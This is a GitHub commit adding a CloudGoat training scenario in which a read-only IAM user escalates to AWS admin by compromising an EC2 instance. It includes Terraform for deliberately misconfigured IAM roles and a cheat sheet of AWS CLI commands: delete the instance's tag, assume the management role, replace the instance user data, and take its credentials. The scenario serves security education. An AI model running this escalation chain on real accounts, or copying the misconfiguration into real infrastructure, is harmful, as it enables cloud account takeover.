Skip to content

Commit

Permalink
Merge pull request #230 from DaveYesland/scenario/iam_privesc_by_ec2
Browse files Browse the repository at this point in the history
Scenario/iam privesc by ec2
  • Loading branch information
nobodynate authored Jan 29, 2025
2 parents c5a5abc + 9aeb891 commit 0b4760b
Show file tree
Hide file tree
Showing 10 changed files with 327 additions and 0 deletions.
35 changes: 35 additions & 0 deletions scenarios/iam_privesc_by_ec2/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
# Scenario: iam_privesc_by_ec2

**Size:** Small

**Difficulty:** Easy

**Command:** `$ ./cloudgoat.py create iam_privesc_by_ec2`

## Scenario Resources

* 1 IAM User
* 1 EC2 Instance
* 2 IAM Roles

## Scenario Start(s)

1. IAM User "cg_dev_user"

## Scenario Goal(s)

Compromise the EC2 "admin_ec2" and gain its admin privileges of the "cg_ec2_role".

## Summary

This is a simple scenario, partially designed to demonstrate the use of [IAMActionHunter](https://github.com/RhinoSecurityLabs/IAMActionHunter) . Starting as the cg_dev_user you need to use your ReadOnly permissions to enumerate the IAM Users and Roles permissions to compromise the "admin_ec2" in the account and gain administrator permissions.

## Walkthrough - IAM User "cg_dev_user"

1. Enumerate IAM permissions for your cg_dev_user and the cg_ec2_management_role
2. Note that you can assume the cg_ec2_management_role role and it has the permissions ec2:stopInstances,ec2:startInstances,ec2:modifyUserAttribute but only resources without a specific tag.
3. cg_dev_user has ec2:deleteTags permission.
4. cg_dev_user deletes the tag from the admin_ec2.
5. cg_dev_user assumes the cg_ec2_management_role and modifies the userdata to run a command to either gain access to it or exfiltrate the credentials from it.

A cheat sheet for this route is available [here](./cheat_sheet_dev_user.md).
54 changes: 54 additions & 0 deletions scenarios/iam_privesc_by_ec2/cheat_sheet_dev_user.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,54 @@
### Enumerate the user and roles we have access to from the start cg_dev_user
```
# Gather all roles and users permissions
iamactionhunter --collect --profile cg_dev_user
# Check for Write actions that the dev_user has
iamactionhunter --config write_actions --account <account_id> --user cg_dev_user
# Check if the dev_user has any interesting IAM permissions
iamactionhunter --config dangerous_iam --account <account_id> --user cg_dev_user
# See what write permissions the role you can assume has
iamactionhunter --config write_actions --account <account_id> --role cg_ec2_management_role
# Check back on the dev_user see if you can do anything with tags
iamactionhunter --query 'ec2:*tag*' --account <account_id> --user cg_dev_user
# Note you can delete tags allowing you to satisfy the condition set for the ec2_management_role
```

### Use the dev_user to enumerate ec2 instances
```
# Get instances that have the tag referenced in the condition
aws ec2 describe-instances --region us-west-2 --profile cg_dev_user --filter "Name=tag:Name,Values=cg_admin_ec2*"
```



### Delete the tag using the dev_user on the EC2 to satisfy the condition for the cg_ec2_management_role
```
aws ec2 delete-tags --region us-west-2 --profile cg_dev_user --resources <instance_id> --tags Key=Name
```

### Assume the cg_ec2_management_role
```
aws sts assume-role --role-arn arn:aws:iam::<account_id>:role/cg_ec2_management_role --role-session-name blah --profile cg_dev_user
```

### Use the cg_ec2_management_role to stop the instance
```
aws ec2 stop-instances --region us-west-2 --profile cg_ec2_management_role --instance-ids <instance_id>
```

### Use the cg_ec2_management_role to modify the userdata to access the EC2 or exfiltrate credentials from it ([https://hackingthe.cloud/aws/exploitation/local-priv-esc-mod-instance-att/](https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/))
```
aws ec2 modify-instance-attribute --region us-west-2 --profile cg_ec2_management_role --instance-id <instance_id> --user-data file://userdata.txt
```

### Use the cg_ec2_management_role to start the instance
```
aws ec2 start-instances --region us-west-2 --profile cg_ec2_management_role --instance-ids <instance_id>
```

### Access the EC2 or exfiltrate credentials and gain admin privileges
16 changes: 16 additions & 0 deletions scenarios/iam_privesc_by_ec2/manifest.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
---
# The name of the scenario, alpha-numeric characters only, and underscore-separated
- name: iam_privesc_by_ec2_compromise
# The name of the author(s), comma separated
- author: Dave Yesland With Rhino Security Labs
# The version of the scenario, where major versions are breaking changes and minor are small fixes.
- version: 1.0
# Text displayed to the user when they type "{{ scenario_name }} help"
- help: |
This Scenario demonstrates more nuanced IAM privilege escalation techniques.
It is partially intended to be a demonstration of how to use the IAMActionHunter tool.
Goal: Starting as the cg_dev_user find a way to compromise the cg_admin_ec2 and gain the privileges
of the cg_ec2_admin_role.
# Records the date upon which this scenario was last updated, in MM-DD-YYYY format
- last-updated: 07-18-2023
...
4 changes: 4 additions & 0 deletions scenarios/iam_privesc_by_ec2/terraform/data_sources.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
#AWS Account Id
data "aws_caller_identity" "aws-account-id" {

}
15 changes: 15 additions & 0 deletions scenarios/iam_privesc_by_ec2/terraform/ec2.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
resource "aws_instance" "cg_admin_ec2" {
ami = var.ami_id
instance_type = var.instance_type
iam_instance_profile = aws_iam_instance_profile.cg_ec2_role.name

# Specify the VPC's private subnet
subnet_id = aws_subnet.cg_private_subnet.id

# Tags for the instance
tags = {
Name = "cg_admin_ec2_${var.cgid}" # Append the unique identifier to the name
}
}


118 changes: 118 additions & 0 deletions scenarios/iam_privesc_by_ec2/terraform/iam.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,118 @@
# Admin role for EC2
resource "aws_iam_role" "cg_ec2_role" {
name = "cg_ec2_role_${var.cgid}"

assume_role_policy = jsonencode({
Version = "2012-10-17"
Statement = [
{
Action = "sts:AssumeRole"
Principal = {
Service = "ec2.amazonaws.com"
}
Effect = "Allow"
},
]
})
}

resource "aws_iam_instance_profile" "cg_ec2_role" {
name = "cg_ec2_role_profile_${var.cgid}"
role = aws_iam_role.cg_ec2_role.name
}

resource "aws_iam_role_policy_attachment" "cg_ec2_role_policy_attach" {
role = aws_iam_role.cg_ec2_role.name
policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess"
}

# Dev user (starting user)
resource "aws_iam_user" "cg_dev_user" {
name = "cg_dev_user_${var.cgid}"
}

resource "aws_iam_user_policy" "cg_dev_ec2_permissions" {
name = "cg_dev_ec2_permissions_${var.cgid}"
user = aws_iam_user.cg_dev_user.name

policy = jsonencode({
Version = "2012-10-17"
Statement = [{
Action = [
"ec2:AllocateAddress",
"ec2:DeleteTags",
"ec2:AssociateRouteTable",
"ec2:AttachNetworkInterface",
"ec2:CreateSecurityGroup",
]
Effect = "Allow"
Resource = "*"
}]
})
}

resource "aws_iam_user_policy" "cg_dev_ec2_mgmt_assume" {
name = "cg_dev_ec2_mgmt_assume_${var.cgid}"
user = aws_iam_user.cg_dev_user.name

policy = jsonencode({
Version = "2012-10-17"
Statement = [{
Action = [
"sts:AssumeRole",
]
Effect = "Allow"
Resource = "arn:aws:iam::${data.aws_caller_identity.aws-account-id.account_id}:role/cg_ec2_management_role"
}]
})
}

resource "aws_iam_user_policy_attachment" "cg_dev_user_policy_attach" {
user = aws_iam_user.cg_dev_user.name
policy_arn = "arn:aws:iam::aws:policy/ReadOnlyAccess"
}

resource "aws_iam_access_key" "cg_dev_user_key" {
user = aws_iam_user.cg_dev_user.name
}

# EC2 management role (pivot role)
resource "aws_iam_role" "cg_ec2_management_role" {
name = "cg_ec2_management_role_${var.cgid}"

assume_role_policy = jsonencode({
Version = "2012-10-17"
Statement = [
{
Action = "sts:AssumeRole"
Principal = {
AWS = "arn:aws:iam::${data.aws_caller_identity.aws-account-id.account_id}:user/cg_dev_user_${var.cgid}"
}
Effect = "Allow"
},
]
})
}

resource "aws_iam_role_policy" "cg_ec2_manage_permissions" {
name = aws_iam_role.cg_ec2_management_role.name
role = "cg_ec2_management_role_${var.cgid}"

policy = jsonencode({
Version = "2012-10-17"
Statement = [{
Action = [
"ec2:StartInstances",
"ec2:StopInstances",
"ec2:ModifyInstanceAttribute",
],
Effect = "Allow"
Resource = "*"
Condition = {
StringNotEquals = {
"aws:ResourceTag/Name" = "cg_admin_ec2_${var.cgid}"
}
}
}]
})
}
14 changes: 14 additions & 0 deletions scenarios/iam_privesc_by_ec2/terraform/outputs.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
# cg_dev_user access keys
output "cg_dev_user_access_key_id" {
value = "${aws_iam_access_key.cg_dev_user_key.id}"
}

output "cg_dev_user_secret_access_key" {
value = "${aws_iam_access_key.cg_dev_user_key.secret}"
sensitive = true
}

#AWS Account ID
output "cloudgoat_output_aws_account_id" {
value = "${data.aws_caller_identity.aws-account-id.account_id}"
}
4 changes: 4 additions & 0 deletions scenarios/iam_privesc_by_ec2/terraform/provider.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
provider "aws" {
profile = "${var.profile}"
region = "${var.region}"
}
38 changes: 38 additions & 0 deletions scenarios/iam_privesc_by_ec2/terraform/variables.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
#Required: AWS Profile
variable "profile" {
}

#Required: AWS Region
variable "region" {
default = "us-east-1"
}

#Required: CGID Variable for unique naming
variable "cgid" {
}

#Required: User's Public IP Address(es)
variable "cg_whitelist" {
type = list
}

#Stack Name
variable "stack-name" {
default = "CloudGoat"
}
#Scenario Name
variable "scenario-name" {
default = "iam-privesc-by-ec2"
}

# AMI to use for EC2 instance
variable "ami_id" {
description = "The ID of the AMI to use"
default = "ami-06ca3ca175f37dd66"
}

# Instance type to use for EC2 instance
variable "instance_type" {
description = "The type of instance to start"
default = "t2.micro"
}
29 changes: 29 additions & 0 deletions scenarios/iam_privesc_by_ec2/terraform/vpc.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
# Create a VPC
resource "aws_vpc" "cg_vpc" {
cidr_block = "10.0.0.0/16"
enable_dns_support = true
enable_dns_hostnames = false
tags = {
Name = "cg-vpc-${var.cgid}"
}
}

# Create a private subnet
resource "aws_subnet" "cg_private_subnet" {
vpc_id = aws_vpc.cg_vpc.id
cidr_block = "10.0.1.0/24"
availability_zone = "us-east-1a"
map_public_ip_on_launch = false # No public IPs
tags = {
Name = "cg-private-subnet-${var.cgid}"
}
}

# Basic VPC outputs
output "vpc_id" {
value = aws_vpc.cg_vpc.id
}

output "subnet_id" {
value = aws_subnet.cg_private_subnet.id
}

0 comments on commit 0b4760b

Please sign in to comment.